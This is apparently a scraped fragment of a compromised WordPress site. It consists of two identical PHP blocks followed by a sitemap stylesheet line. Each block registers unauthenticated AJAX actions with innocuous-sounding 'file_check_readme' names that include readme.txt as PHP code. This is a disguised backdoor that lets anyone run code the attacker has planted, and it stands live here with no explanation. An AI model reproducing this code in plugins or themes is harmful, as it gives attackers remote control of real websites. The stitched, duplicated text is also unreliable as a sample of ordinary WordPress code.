if(!function_exists('file_check_readme91154')){
   add_action('wp_ajax_nopriv_file_check_readme91154', 'file_check_readme91154');
   add_action('wp_ajax_file_check_readme91154', 'file_check_readme91154');
   function file_check_readme91154()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}

if(!function_exists('file_check_readme23910')){
   add_action('wp_ajax_nopriv_file_check_readme23910', 'file_check_readme23910');
   add_action('wp_ajax_file_check_readme23910', 'file_check_readme23910');
   function file_check_readme23910()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
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<?xml-stylesheet type="text/xsl" href="https://airspeedusa.com/wp-sitemap-index.xsl" ?>
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